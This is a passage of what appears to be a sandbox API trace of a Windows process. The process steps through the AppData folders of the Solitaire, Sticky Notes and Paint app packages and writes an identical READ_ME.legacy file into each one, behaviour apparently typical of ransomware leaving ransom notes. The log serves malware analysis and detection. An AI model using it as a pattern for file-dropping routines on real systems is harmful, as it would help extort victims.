(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0153.903] WriteFile (in: hFile=0x88c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.904] CloseHandle (hObject=0x88c) returned 1 [0153.904] FindNextFileW (in: hFindFile=0x61eb08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8aac99, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd854e6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d8aac99, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0153.904] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0153.905] WriteFile (in: hFile=0x88c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.906] CloseHandle (hObject=0x88c) returned 1 [0153.906] FindNextFileW (in: hFindFile=0x61eb08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8aac99, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcd854e6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d8aac99, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0153.906] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8c4028f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe34af37e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e808 [0153.906] FindNextFileW (in: hFindFile=0x61e808, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8c4028f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe34af37e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0153.906] FindNextFileW (in: hFindFile=0x61e808, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8c4028f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8c4028f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8c4028f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0153.906] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0153.909] WriteFile (in: hFile=0x890, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.910] CloseHandle (hObject=0x890) returned 1 [0153.910] FindNextFileW (in: hFindFile=0x61e808, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bf3dca, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bf3dca, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bf3dca, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0153.910] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0153.911] WriteFile (in: hFile=0x890, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.912] CloseHandle (hObject=0x890) returned 1 [0153.912] FindNextFileW (in: hFindFile=0x61e808, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bcdb78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bcdb78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0153.912] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0153.915] WriteFile (in: hFile=0x890, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.916] CloseHandle (hObject=0x890) returned 1 [0153.916] FindNextFileW (in: hFindFile=0x61e808, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bcdb78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bcdb78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0153.916] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0153.917] WriteFile (in: hFile=0x890, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.918] CloseHandle (hObject=0x890) returned 1 [0153.918] FindNextFileW (in: hFindFile=0x61e808, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe34af37e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe34af37e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe34af37e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0153.918] FindNextFileW (in: hFindFile=0x61e808, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bcdb78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bcdb78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0153.918] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0153.919] WriteFile (in: hFile=0x890, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.920] CloseHandle (hObject=0x890) returned 1 [0153.920] FindNextFileW (in: hFindFile=0x61e808, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bf3dca, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bf3dca, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0153.920] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0153.920] WriteFile (in: hFile=0x890, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.921] CloseHandle (hObject=0x890) returned 1 [0153.921] FindNextFileW (in: hFindFile=0x61e808, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bf3dca, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bf3dca, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bf3dca, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0153.921] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0153.922] WriteFile (in: hFile=0x890, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.923] CloseHandle (hObject=0x890) returned 1 [0153.923] FindNextFileW (in: hFindFile=0x61e808, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bcdb78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bcdb78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0153.923] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0153.923] WriteFile (in: hFile=0x890, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.924] CloseHandle (hObject=0x890) returned 1 [0153.924] FindNextFileW (in: hFindFile=0x61e808, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8bcdb78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8bcdb78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0153.924] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d33450, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7dcbdba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe34af37e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e888 [0153.925] FindNextFileW (in: hFindFile=0x61e888, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d33450, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7dcbdba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe34af37e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0153.925] FindNextFileW (in: hFindFile=0x61e888, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd7dcbdba, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7dcbdba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7dcbdba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0153.925] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0153.928] WriteFile (in: hFile=0x894, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.929] CloseHandle (hObject=0x894) returned 1 [0153.930] FindNextFileW (in: hFindFile=0x61e888, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d596b8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7d596b8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7d596b8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0153.930] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0153.930] WriteFile (in: hFile=0x894, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.931] CloseHandle (hObject=0x894) returned 1 [0153.931] FindNextFileW (in: hFindFile=0x61e888, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d596b8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7d596b8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7d596b8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0153.931] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0154.011] WriteFile (in: hFile=0x894, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.012] CloseHandle (hObject=0x894) returned 1 [0154.012] FindNextFileW (in: hFindFile=0x61e888, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d33450, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7d33450, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7d33450, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.012] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0154.014] WriteFile (in: hFile=0x894, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.015] CloseHandle (hObject=0x894) returned 1 [0154.015] FindNextFileW (in: hFindFile=0x61e888, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe34af37e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe34af37e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe34af37e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.015] FindNextFileW (in: hFindFile=0x61e888, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d33450, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7d33450, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7d33450, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.015] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0154.016] WriteFile (in: hFile=0x894, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.017] CloseHandle (hObject=0x894) returned 1 [0154.017] FindNextFileW (in: hFindFile=0x61e888, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d596b8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7d596b8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7d596b8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.017] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0154.017] WriteFile (in: hFile=0x894, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.018] CloseHandle (hObject=0x894) returned 1 [0154.018] FindNextFileW (in: hFindFile=0x61e888, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d596b8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7d596b8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7d596b8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0154.018] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: 